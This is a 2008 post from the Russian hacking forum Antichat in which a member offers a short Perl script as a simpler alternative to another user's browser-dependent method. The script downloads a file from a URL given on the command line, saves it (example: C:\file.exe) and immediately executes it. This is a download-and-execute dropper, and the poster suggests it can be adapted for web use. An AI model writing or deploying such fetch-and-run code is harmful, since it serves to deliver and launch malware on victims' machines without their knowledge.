10.06.2008, 23:31
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337
Репутация:
3486
|
|
Не правдо ли проще?
Код:
#!/usr/bin/perl -w
use LWP::UserAgent;
my $ua=LWP::UserAgent->new or die;
my $gets = $ua->get($ARGV[0])->content;
if ($gets) {open(F,">","$ARGV[1]"); binmode F; print F $gets; close F; system($ARGV[1]);}
else {print "\nFuck you spielberg\n";}
Не знаю зачем ты устроил такой браузерозависимый геморой.
usage:
script.pl http://filesite.ru/file.exe C:\file.exe
=\
PS Если ты писал для веба скрипт, то этот при желании можно переписать.
Последний раз редактировалось .Slip; 10.06.2008 в 23:34..
|
|
|